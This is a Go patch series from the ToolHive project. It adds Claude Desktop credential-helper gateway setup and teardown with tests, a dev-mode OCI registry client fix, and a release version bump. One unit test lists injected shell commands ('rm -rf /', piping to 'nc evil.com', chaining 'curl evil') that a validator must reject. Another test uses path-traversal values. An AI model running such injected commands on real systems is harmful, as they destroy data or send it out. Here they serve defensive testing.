TestRevertCredentialHelper_LeavesForeignAppliedIDIntact(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // Simulate the user re-selecting their own config after setup. + meta := readMeta(t, metaPath) + meta["appliedId"] = "user-config" + meta["entries"] = append(metaEntries(meta), map[string]any{"id": "user-config", "name": "My Bedrock"}) + writeBytes, err := json.Marshal(meta) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, writeBytes, 0o600)) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), configPath)) + + meta = readMeta(t, metaPath) + // Our entry is removed but the user's active selection is left alone. + assert.Equal(t, "user-config", meta["appliedId"]) + assert.Len(t, metaEntries(meta), 1) + assert.Equal(t, "user-config", metaEntryID(meta, "My Bedrock")) +} + +// TestRevertCredentialHelper_RejectsUnsafeConfigPath proves the revert-side +// guards refuse to unlink through a tampered stored configPath (os.Remove +// follows symlinks). A stored path outside configLibrary — or one with a +// traversal segment — must be treated as already-reverted, not deleted. +// Each case gets its own sentinel file so subtests run in parallel safely. +func TestRevertCredentialHelper_RejectsUnsafeConfigPath(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + // configLibrary must exist so revert reaches the guard rather than + // early-returning on a missing dir. + require.NoError(t, os.MkdirAll( + filepath.Join(cm.homeDir, "Library", "Application Support", "Claude-3p", "configLibrary"), 0o700)) + + cases := []struct { + name string + stored string + }{ + {"absolute path outside configLibrary", filepath.Join(t.TempDir(), "do-not-delete.txt")}, + {"traversal segment", filepath.Join(cm.homeDir, "..", "evil.json")}, + {"deeper traversal", filepath.Join(cm.homeDir, "..", "..", "evil.json")}, + } + for _, tc := range cases { + tc := tc + // Each subtest owns its own sentinel so parallelism is safe. + require.NoError(t, os.WriteFile(tc.stored, []byte("sentinel"), 0o600)) + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), tc.stored)) + assert.FileExists(t, tc.stored, "teardown must not unlink a tampered configPath") + }) + } +} + +// TestWriteCredentialHelperShim_RejectsUnsafeCommand proves the shim writer +// fails closed on any tokenHelperCommand it cannot prove is shell-safe, rather +// than emitting an injectable 0700 /bin/sh script. buildTokenHelperCommand is +// shell-safe today; this guards against a future caller that isn't. +func TestWriteCredentialHelperShim_RejectsUnsafeCommand(t *testing.T) { + t.Parallel() + cm := &ClientManager{homeDir: t.TempDir()} + + unsafe := []string{ + `"thv" llm token; rm -rf /`, // trailing command via ; + `"thv" llm token #`, // trailing comment + `"thv" llm token && curl evil`, // chained command + `"thv" llm token|nc evil.com`, // pipe to external process + `"thv" llm token` + "\n" + `rm -rf /`, // embedded newline + `unquoted path llm token`, // missing leading double-quote + `"thv" llm tokn`, // wrong suffix (not " llm token") + } + for _, cmd := range unsafe { + t.Run(cmd, func(t *testing.T) { + t.Parallel() + _, err := cm.writeCredentialHelperShim(cmd) + require.Error(t, err, "expected rejection of %q", cmd) + assert.Contains(t, err.Error(), "shell-safe") + }) + } + + // The shape buildTokenHelperCommand actually produces is accepted. + _, err := cm.writeCredentialHelperShim(`"/bin/thv" llm token`) + require.NoError(t, err) +} + +func TestConfigureCredentialHelper_CleansUpOnWriteFailure(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // First setup succeeds: creates the entry, config document, and shim. + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + require.FileExists(t, shimPath) + _ = metaPath + + // Force the config-document write to fail on the next (idempotent) setup: + // replace the config document with a non-empty directory at the same path. + // The reused id targets it and AtomicWriteFile cannot overwrite a directory, + // so the in-lock cleanup path runs. + require.NoError(t, os.Remove(configPath)) + require.NoError(t, os.MkdirAll(configPath, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(configPath, "block"), []byte("x"), 0o600)) + + _, err = cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.Error(t, err, "setup must fail when the config document cannot be written") + + // Cleanup must NOT delete the shim an earlier successful setup created + // (only a shim minted in the same failed call is removed). + assert.FileExists(t, shimPath, "cleanup must preserve a pre-existing shim on failure") +} + +func TestManagedProfileExistsUnder(t *testing.T) { + t.Parallel() + const domain = "com.anthropic.claudefordesktop.plist" + + t.Run("absent", func(t *testing.T) { + t.Parallel() + assert.False(t, managedProfileExistsUnder(t.TempDir(), domain)) + }) + t.Run("direct path", func(t *testing.T) { + t.Parallel() + root := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(root, domain), []byte("x"), 0o600)) + assert.True(t, managedProfileExistsUnder(root, domain)) + }) + t.Run("per-user subdir", func(t *testing.T) { + t.Parallel() + root := t.TempDir() + userDir := filepath.Join(root, "alice") + require.NoError(t, os.MkdirAll(userDir, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(userDir, domain), []byte("x"), 0o600)) + assert.True(t, managedProfileExistsUnder(root, domain)) + }) +} + +func TestConfigureCredentialHelper_RejectsNonArrayEntries(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // Valid JSON but wrong shape: entries is an object, not an array. Setup must + // bail rather than silently drop it (which would overwrite user data). + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + require.NoError(t, os.WriteFile(metaPath, []byte(`{"appliedId":"","entries":{"oops":true}}`), 0o600)) + + _, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.Error(t, err, "setup must fail when _meta.json entries is not an array") + assert.Contains(t, err.Error(), "entries") +} + +func TestConfigureCredentialHelper_NonStringIDDoesNotDuplicate(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // A name-matching entry with a non-string id must be corrected in place, not + // left alongside a freshly minted duplicate "ToolHive Gateway" entry. + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + seed := map[string]any{ + "appliedId": "", + "entries": []any{ + map[string]any{"id": 123, "name": claudeDesktopManagedEntryName}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + meta := readMeta(t, metaPath) + assert.Len(t, metaEntries(meta), 1, "malformed same-name entry must be corrected in place, not duplicated") + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.Equal(t, id, meta["appliedId"]) + assert.Equal(t, id, metaEntryID(meta, claudeDesktopManagedEntryName)) +} diff --git a/pkg/llm/setup.go b/pkg/llm/setup.go index faef0dc42c..de72e40589 100644 --- a/pkg/llm/setup.go +++ b/pkg/llm/setup.go @@ -31,6 +31,9 @@ type GatewayManager interface { ConfigureLLMGateway(clientType string, cfg llmgateway.ApplyConfig) (string, error) // LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. LLMGatewayModeFor(clientType string) string + // IsManaged reports whether a managed-preferences profile overrides the + // client's local config (so the config setup writes would be ignored). + IsManaged(clientType string) bool // ConfigureEnvFile writes .env file entries for the client and returns the // env file path. Returns ("", nil) when the client has no env-file entries. ConfigureEnvFile(clientType string, cfg llmgateway.ApplyConfig) (string, error) @@ -69,7 +72,7 @@ func Setup( ctx context.Context, out, errOut io.Writer, gm GatewayManager, provider ConfigUpdater, login LoginFunc, inlineOpts SetOptions, anthropicPathPrefix string, anthropicPathPrefixSet bool, targetClient string, - lazy bool, + lazy bool, models []string, ) error { llmCfg := provider.GetLLMConfig() @@ -131,13 +134,14 @@ func Setup( configured, err := configureDetectedTools( out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL, tokenHelperCommand, - llmCfg.TLSSkipVerify, anthropicPrefix, + llmCfg.TLSSkipVerify, anthropicPrefix, models, ) if err != nil { return err } warnTLSSkipVerify(errOut, llmCfg.TLSSkipVerify, configured) + warnCredentialHelperTools(out, errOut, gm, configured) if err := provider.UpdateLLMConfig(func(c *Config) error { // SetFields applies inline opts to the on-disk config (preserving any @@ -340,15 +344,18 @@ func configureDetectedTools( gatewayURL, proxyBaseURL, tokenHelperCommand string, tlsSkipVerify bool, anthropicPathPrefix string, + models []string, ) ([]ToolConfig, error) { var configured []ToolConfig for _, clientType := range detected { mode := gm.LLMGatewayModeFor(clientType) - // Only apply the Anthropic path prefix for direct-mode tools. - // Proxy-mode tools (Cursor, VS Code, Xcode) do not use ANTHROPIC_BASE_URL. + // Apply the Anthropic path prefix for tools that talk the Anthropic API + // directly — direct-mode (ANTHROPIC_BASE_URL) and credential-helper mode + // (Claude Desktop's inferenceGatewayBaseUrl). Proxy-mode tools (Cursor, + // VS Code, Xcode) do not use it. anthropicBaseURL := "" - if mode == "direct" && anthropicPathPrefix != "" { + if usesAnthropicBaseURL(mode) && anthropicPathPrefix != "" { // Trim any leading slash: url.JoinPath docs say elements should not // start with "/", and path.Join already handles the join correctly. if joined, err := url.JoinPath(gatewayURL, strings.TrimLeft(anthropicPathPrefix, "/")); err == nil { @@ -362,6 +369,7 @@ func configureDetectedTools( ProxyBaseURL: proxyBaseURL, TokenHelperCommand: tokenHelperCommand, TLSSkipVerify: tlsSkipVerify, + Models: models, } configPath, err := gm.ConfigureLLMGateway(clientType, applyCfg) if err != nil { @@ -482,18 +490,46 @@ func buildTokenHelperCommand() (string, error) { return fmt.Sprintf(`"%s" llm token`, self), nil } -// hasDirectModeClient reports whether any client in the detected list uses -// direct mode. Used to skip the Anthropic-prefix probe when no direct-mode -// tools are present (proxy-mode tools ignore ANTHROPIC_BASE_URL entirely). +// usesAnthropicBaseURL reports whether a client mode consumes the Anthropic base +// URL (gateway + /anthropic prefix): direct mode via ANTHROPIC_BASE_URL, and +// credential-helper mode (Claude Desktop) via inferenceGatewayBaseUrl. +func usesAnthropicBaseURL(mode string) bool { + return mode == llmgateway.ModeDirect || mode == llmgateway.ModeCredentialHelper +} + +// hasDirectModeClient reports whether any client in the detected list uses a +// mode that needs the Anthropic base URL. Used to skip the Anthropic-prefix +// probe when no such tools are present (proxy-mode tools ignore it entirely). func hasDirectModeClient(gm GatewayManager, detected []string) bool { for _, clientType := range detected { - if gm.LLMGatewayModeFor(clientType) == "direct" { + if usesAnthropicBaseURL(gm.LLMGatewayModeFor(clientType)) { return true } } return false } +// warnCredentialHelperTools prints the follow-up notes credential-helper clients +// (Claude Desktop) need: they read config only at launch, so the user must fully +// quit and relaunch; and a managed-preferences profile, if present, overrides +// the local config setup just wrote. +func warnCredentialHelperTools(out, errOut io.Writer, gm GatewayManager, configured []ToolConfig) { + for _, tc := range configured { + if tc.Mode != llmgateway.ModeCredentialHelper { + continue + } + _, _ = fmt.Fprintf(out, + "%s reads its configuration only at launch — fully quit and reopen it "+ + "for the gateway change to take effect.\n", tc.Tool) + if gm.IsManaged(tc.Tool) { + _, _ = fmt.Fprintf(errOut, + "Warning: a managed-preferences profile for %s is present; it overrides the local "+ + "configuration just written, which will be ignored. Remove the managed profile or "+ + "configure the gateway there instead.\n", tc.Tool) + } + } +} + // revertToolConfig reverts the settings-file and .env patches for a single // tool. Errors are logged as warnings so the caller can continue with others. func revertToolConfig(out, errOut io.Writer, gm GatewayManager, tc ToolConfig) { diff --git a/pkg/llm/setup_test.go b/pkg/llm/setup_test.go index b8a4af5bdd..386a6ced72 100644 --- a/pkg/llm/setup_test.go +++ b/pkg/llm/setup_test.go @@ -104,6 +104,7 @@ func (*stubGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfi return "", nil } func (*stubGatewayManager) LLMGatewayModeFor(_ string) string { return "" } +func (*stubGatewayManager) IsManaged(_ string) bool { return false } func (*stubGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { return "", nil } @@ -193,6 +194,7 @@ func (*setupGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConf return "/tmp/settings.json", nil } func (g *setupGatewayManager) LLMGatewayModeFor(_ string) string { return g.mode } +func (*setupGatewayManager) IsManaged(_ string) bool { return false } func (*setupGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { return "", nil } @@ -227,7 +229,7 @@ func TestSetup_Lazy_SkipsLoginAndPersistsTools(t *testing.T) { // anthropicPathPrefixSet=true skips the network probe; lazy=true. err := Setup( context.Background(), &stdout, &stderr, gm, provider, login, - SetOptions{}, "", true, "", true, + SetOptions{}, "", true, "", true, nil, ) require.NoError(t, err) @@ -255,7 +257,7 @@ func TestSetup_NonLazy_InvokesLogin(t *testing.T) { var stdout, stderr bytes.Buffer err := Setup( context.Background(), &stdout, &stderr, gm, provider, login, - SetOptions{}, "", true, "", false, + SetOptions{}, "", true, "", false, nil, ) require.NoError(t, err) @@ -277,6 +279,7 @@ func (g *capturingGatewayManager) ConfigureLLMGateway(_ string, cfg llmgateway.A return "/path/to/settings.json", nil } func (g *capturingGatewayManager) LLMGatewayModeFor(_ string) string { return g.mode } +func (*capturingGatewayManager) IsManaged(_ string) bool { return false } func (*capturingGatewayManager) LLMSetupNoteFor(_ string) string { return "" } func (*capturingGatewayManager) RevertLLMGateway(_, _ string) error { return nil } func (*capturingGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { @@ -294,7 +297,7 @@ func TestConfigureDetectedTools_PathPrefixAppendedForDirectMode(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "/anthropic", + false, "/anthropic", nil, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -314,7 +317,7 @@ func TestConfigureDetectedTools_NoPrefixWhenEmpty(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "", // no prefix + false, "", nil, // no prefix ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -333,7 +336,7 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { &out, &errOut, gm, []string{"cursor"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, - false, "/anthropic", + false, "/anthropic", nil, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -382,3 +385,43 @@ func TestProbeAnthropicPrefix_Returns_Empty_For_EmptyGatewayURL(t *testing.T) { prefix := probeAnthropicPrefix(context.Background(), "", false) assert.Empty(t, prefix) } + +// managedGatewayManager is a stub whose IsManaged is configurable per client, +// for exercising warnCredentialHelperTools' managed-profile warning branch. +type managedGatewayManager struct{ managed map[string]bool } + +func (*managedGatewayManager) DetectedLLMGatewayClients() []string { return nil } +func (*managedGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*managedGatewayManager) LLMGatewayModeFor(_ string) string { + return llmgateway.ModeCredentialHelper +} +func (g *managedGatewayManager) IsManaged(c string) bool { return g.managed[c] } +func (*managedGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*managedGatewayManager) RevertEnvFile(_, _ string) error { return nil } +func (*managedGatewayManager) RevertLLMGateway(_, _ string) error { return nil } + +func TestWarnCredentialHelperTools(t *testing.T) { + t.Parallel() + gm := &managedGatewayManager{managed: map[string]bool{"claude-desktop": true}} + var out, errOut bytes.Buffer + + warnCredentialHelperTools(&out, &errOut, gm, []ToolConfig{ + {Tool: "claude-desktop", Mode: llmgateway.ModeCredentialHelper}, + {Tool: "other-desktop", Mode: llmgateway.ModeCredentialHelper}, + {Tool: "claude-code", Mode: "direct"}, + }) + + // The relaunch note prints on stdout for every credential-helper tool, and + // not for non-credential-helper tools. + assert.Contains(t, out.String(), "claude-desktop reads its configuration only at launch") + assert.Contains(t, out.String(), "other-desktop reads its configuration only at launch") + assert.NotContains(t, out.String(), "claude-code") + + // The MDM warning prints on stderr only for the managed tool. + assert.Contains(t, errOut.String(), "managed-preferences profile for claude-desktop") + assert.NotContains(t, errOut.String(), "profile for other-desktop") +} diff --git a/pkg/llmgateway/config.go b/pkg/llmgateway/config.go index 2b033dddc0..09fcf21a8b 100644 --- a/pkg/llmgateway/config.go +++ b/pkg/llmgateway/config.go @@ -24,6 +24,36 @@ const ClaudeCodeHelperTTL = 5 * time.Minute // suspenders pairing work; keep the two values in sync (guarded by a test). const LLMTokenRefreshWindow = 2 * ClaudeCodeHelperTTL +// ClaudeDesktopHelperTTL is written to the Claude Desktop config as +// inferenceCredentialHelperTtlSec: how often Claude Desktop re-invokes the +// credential helper (a shim that runs "thv llm token"). Kept equal to +// ClaudeCodeHelperTTL so the same LLMTokenRefreshWindow invariant holds — every +// invocation in the final window forces a refresh, so Claude Desktop never +// receives an about-to-expire token. +const ClaudeDesktopHelperTTL = ClaudeCodeHelperTTL + +// ClaudeDesktopHelperTimeout is written as inferenceCredentialHelperTimeoutSec: +// how long Claude Desktop waits for the credential helper to print a token +// before killing it. Sized to allow a silent OIDC refresh (cached refresh token +// → new access token) but not a full interactive re-auth, which "thv llm setup" +// performs up front so the steady-state helper call stays fast. +const ClaudeDesktopHelperTimeout = 30 * time.Second + +// LLM gateway client modes. The single source of truth dispatched on in +// pkg/client (ConfigureLLMGateway/RevertLLMGateway) and pkg/llm +// (usesAnthropicBaseURL/warnCredentialHelperTools). Kept here so both packages +// reference one compiler-checked set of values rather than carrying private +// string copies that can drift. +const ( + // ModeDirect routes traffic through ANTHROPIC_BASE_URL / a token helper. + ModeDirect = "direct" + // ModeProxy routes traffic through a localhost reverse proxy. + ModeProxy = "proxy" + // ModeCredentialHelper routes traffic through a document + selector + + // helper-script model (Claude Desktop's third-party inference surface). + ModeCredentialHelper = "credential-helper" //nolint:gosec // G101: mode identifier, not a credential +) + // ProxyOriginOf returns rawURL with its path, query, fragment, and userinfo // stripped so only the scheme and host remain (the "origin"). Tools like // Gemini CLI that append their own API path (e.g. /v1beta/...) need the @@ -56,4 +86,8 @@ type ApplyConfig struct { ProxyBaseURL string // proxy-mode: URL of the localhost reverse proxy TokenHelperCommand string // direct-mode: shell command that prints a fresh token TLSSkipVerify bool // when true, instruct the tool to skip TLS verification + // Models is the optional explicit model list written to clients that support + // a model override (e.g. Claude Desktop's inferenceModels). Empty means the + // client falls back to gateway-side model auto-discovery. + Models []string } diff --git a/test/e2e/cli_llm_all_clients_test.go b/test/e2e/cli_llm_all_clients_test.go index 102a141270..78fa1f971b 100644 --- a/test/e2e/cli_llm_all_clients_test.go +++ b/test/e2e/cli_llm_all_clients_test.go @@ -962,6 +962,113 @@ var _ = Describe("thv llm — all-client matrix", Label("cli", "llm", "clients", }) }) + Describe("claude-desktop (credential-helper) setup and teardown", func() { + // Claude Desktop uses a configLibrary document + _meta.json selector and + // a credential-helper shim, not single-file JSON-pointer patching — so it + // gets its own assertions rather than the allClientTestCases matrix. + claudeDesktopPaths := func(root string) (appDir, configLib, shim string) { + if runtime.GOOS == osDarwin { + base := filepath.Join(root, "Library", "Application Support") + return filepath.Join(base, "Claude"), + filepath.Join(base, "Claude-3p", "configLibrary"), + filepath.Join(root, ".toolhive", "llm", "claude-desktop-helper.sh") + } + return filepath.Join(root, "Claude"), + filepath.Join(root, "Claude-3p", "configLibrary"), + filepath.Join(root, ".toolhive", "llm", "claude-desktop-helper.sh") + } + + // readAppliedConfigDoc resolves _meta.json's appliedId to its config doc. + readAppliedConfigDoc := func(configLib string) (map[string]any, map[string]any) { + metaData, err := os.ReadFile(filepath.Join(configLib, "_meta.json")) + Expect(err).ToNot(HaveOccurred(), "_meta.json should exist after setup") + var meta map[string]any + Expect(json.Unmarshal(metaData, &meta)).To(Succeed()) + + appliedID, _ := meta["appliedId"].(string) + Expect(appliedID).ToNot(BeEmpty(), "appliedId should be set after setup") + docData, err := os.ReadFile(filepath.Join(configLib, appliedID+".json")) + Expect(err).ToNot(HaveOccurred(), "applied config document should exist") + var doc map[string]any + Expect(json.Unmarshal(docData, &doc)).To(Succeed()) + return meta, doc + } + + It("writes the config document, selector, and shim, then reverts them", func() { + issuerURL := fmt.Sprintf("http://localhost:%d", oidcPort) + appDir, configLib, shim := claudeDesktopPaths(tempDir) + + By("creating the Claude Desktop app directory so detection succeeds") + Expect(os.MkdirAll(appDir, 0750)).To(Succeed()) + + By("running thv llm setup --client claude-desktop") + // Pin the Anthropic prefix so setup skips the network probe (fast, + // deterministic base URL). + stdout, stderr, err := runSetupWithOIDCCompletion( + thvCmd, oidcServer, + "--client", "claude-desktop", + "--gateway-url", gatewayURL, + "--issuer", issuerURL, + "--client-id", clientID, + "--anthropic-path-prefix", "/anthropic", + "--models", "claude-opus-4-8,claude-sonnet-4-6", + ) + Expect(err).ToNot(HaveOccurred(), + "setup should succeed; stdout=%q stderr=%q", stdout, stderr) + Expect(stdout).To(ContainSubstring("quit"), + "setup should tell the user to relaunch Claude Desktop") + + By("verifying the config document contents") + _, doc := readAppliedConfigDoc(configLib) + Expect(doc["inferenceProvider"]).To(Equal("gateway")) + Expect(doc["inferenceCredentialKind"]).To(Equal("helper-script")) + Expect(doc["inferenceGatewayAuthScheme"]).To(Equal("bearer")) + Expect(doc["inferenceGatewayBaseUrl"]).To(Equal(gatewayURL + "/anthropic")) + Expect(doc["inferenceCredentialHelper"]).To(Equal(shim)) + Expect(doc["inferenceModels"]).To(ConsistOf("claude-opus-4-8", "claude-sonnet-4-6")) + + By("verifying the credential-helper shim is executable and calls thv llm token") + info, statErr := os.Stat(shim) + Expect(statErr).ToNot(HaveOccurred(), "shim should exist after setup") + Expect(info.Mode().Perm()&0100).ToNot(BeZero(), "shim should be executable") + shimData, readErr := os.ReadFile(shim) + Expect(readErr).ToNot(HaveOccurred()) + Expect(string(shimData)).To(ContainSubstring("llm token")) + + By("verifying config show lists claude-desktop in credential-helper mode") + showOut, _ := thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + var found bool + for _, toolCfg := range cfg.ConfiguredTools { + if string(toolCfg.Tool) == "claude-desktop" { + found = true + Expect(toolCfg.Mode).To(Equal("credential-helper")) + } + } + Expect(found).To(BeTrue(), "claude-desktop should appear in ConfiguredTools") + + By("running thv llm teardown claude-desktop") + thvCmd("llm", "teardown", "claude-desktop").ExpectSuccess() + + By("verifying the config document and shim are removed and the selector cleared") + metaData, err := os.ReadFile(filepath.Join(configLib, "_meta.json")) + Expect(err).ToNot(HaveOccurred(), "_meta.json should still exist after teardown") + var meta map[string]any + Expect(json.Unmarshal(metaData, &meta)).To(Succeed()) + Expect(meta["appliedId"]).To(Equal(""), "appliedId should be cleared after teardown") + Expect(meta["entries"]).To(BeEmpty(), "ToolHive entry should be removed after teardown") + _, shimStatErr := os.Stat(shim) + Expect(os.IsNotExist(shimStatErr)).To(BeTrue(), "shim should be deleted after teardown") + + showOut, _ = thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty(), + "ConfiguredTools should be empty after teardown") + }) + }) + Describe("thv llm token with an expired cached access token", func() { It("does not return the expired token", func() { claudeDir := filepath.Join(tempDir, ".claude") From ab02caeffb686c931ec6438a7e5f13d99f670810 Mon Sep 17 00:00:00 2001 From: Samuele V <4377202+samuv@users.noreply.github.com> Date: Tue, 7 Jul 2026 12:16:52 +0200 Subject: [PATCH 30/66] Fix TOOLHIVE_DEV plain HTTP breaking real OCI registry pulls (#5735) When TOOLHIVE_DEV=true, plain HTTP was enabled for all OCI pulls. Real registries like ghcr.io redirect HTTP to HTTPS, and oras-go blocks the auth handshake across that redirect, causing bare 401s. Use plain HTTP only for loopback hosts via a dispatcher client. Co-authored-by: Cursor --- pkg/api/server.go | 65 +++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 60 insertions(+), 5 deletions(-) diff --git a/pkg/api/server.go b/pkg/api/server.go index 14a9066fab..dcb5028fda 100644 --- a/pkg/api/server.go +++ b/pkg/api/server.go @@ -32,6 +32,7 @@ import ( "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" + "github.com/opencontainers/go-digest" "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp" "go.opentelemetry.io/otel/attribute" "go.opentelemetry.io/otel/trace" @@ -47,6 +48,7 @@ import ( "github.com/stacklok/toolhive/pkg/container/runtime" "github.com/stacklok/toolhive/pkg/fileutils" "github.com/stacklok/toolhive/pkg/groups" + "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/recovery" "github.com/stacklok/toolhive/pkg/registry" "github.com/stacklok/toolhive/pkg/server/discovery" @@ -638,13 +640,66 @@ func createListener(address string, isUnixSocket bool) (net.Listener, string, er } // newOCIRegistryClient creates an OCI registry client. In dev mode -// (TOOLHIVE_DEV=true), plain HTTP is enabled for local test registries. +// (TOOLHIVE_DEV=true), plain HTTP is used for loopback registries only (e.g. +// a local test registry started by e2e tests) via devModeOCIRegistryClient. +// +// Plain HTTP must NOT be applied to real registries such as ghcr.io: those +// registries redirect an initial plain-HTTP request to HTTPS, and oras-go +// refuses to complete the WWW-Authenticate/token-fetch handshake across that +// redirect (a guard against leaking credentials across origins on redirect, +// see GHSA-vh4v-2xq2-g5cg). The pull then fails with a bare 401 instead of +// retrying with a fetched (possibly anonymous) bearer token. func newOCIRegistryClient() (ociskills.RegistryClient, error) { - var opts []ociskills.RegistryOption - if os.Getenv("TOOLHIVE_DEV") == "true" { - opts = append(opts, ociskills.WithPlainHTTP(true)) + secure, err := ociskills.NewRegistry() + if err != nil { + return nil, err + } + if os.Getenv("TOOLHIVE_DEV") != "true" { + return secure, nil + } + plain, err := ociskills.NewRegistry(ociskills.WithPlainHTTP(true)) + if err != nil { + return nil, err + } + return &devModeOCIRegistryClient{secure: secure, plain: plain}, nil +} + +// devModeOCIRegistryClient dispatches each Pull/Push to a plain-HTTP client +// when the target reference's host is loopback (a local test registry), and +// to a normal TLS client otherwise. This keeps TOOLHIVE_DEV=true's +// local-test-registry support (see gitresolver.isDevMode for the analogous +// SSRF relaxation) without silently disabling TLS for real registries. +type devModeOCIRegistryClient struct { + secure ociskills.RegistryClient + plain ociskills.RegistryClient +} + +func (c *devModeOCIRegistryClient) Pull( + ctx context.Context, store *ociskills.Store, ref string, +) (digest.Digest, error) { + return c.clientFor(ref).Pull(ctx, store, ref) +} + +func (c *devModeOCIRegistryClient) Push( + ctx context.Context, store *ociskills.Store, manifestDigest digest.Digest, ref string, +) error { + return c.clientFor(ref).Push(ctx, store, manifestDigest, ref) +} + +func (c *devModeOCIRegistryClient) clientFor(ref string) ociskills.RegistryClient { + if networking.IsLocalhost(ociRefHost(ref)) { + return c.plain + } + return c.secure +} + +// ociRefHost extracts the "host[:port]" portion of an OCI reference such as +// "ghcr.io/org/repo:tag" or "localhost:5000/repo@sha256:...". +func ociRefHost(ref string) string { + if idx := strings.IndexByte(ref, '/'); idx >= 0 { + return ref[:idx] } - return ociskills.NewRegistry(opts...) + return ref } // lazySkillLookup implements skillsvc.SkillLookup by resolving the registry From b084be45ce404313d6022a341f51543057b0881b Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Tue, 7 Jul 2026 13:39:48 +0300 Subject: [PATCH 31/66] Release v0.34.0 (#5737) Update release files Release-Triggered-By: JAORMX Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index be386c9ede..85e60ed180 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.33.0 +0.34.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 67738c9fe1..739d65aeec 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.33.0 -appVersion: "v0.33.0" +version: 0.34.0 +appVersion: "v0.34.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 11dd438774..29440e9bf5 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.33.0](https://img.shields.io/badge/Version-0.33.0-informational?style=flat-square) +![Version: 0.34.0](https://img.shields.io/badge/Version-0.34.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index aee8ce440d..cf229bb1eb 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.33.0 -appVersion: "v0.33.0" +version: 0.34.0 +appVersion: "v0.34.0" diff --git 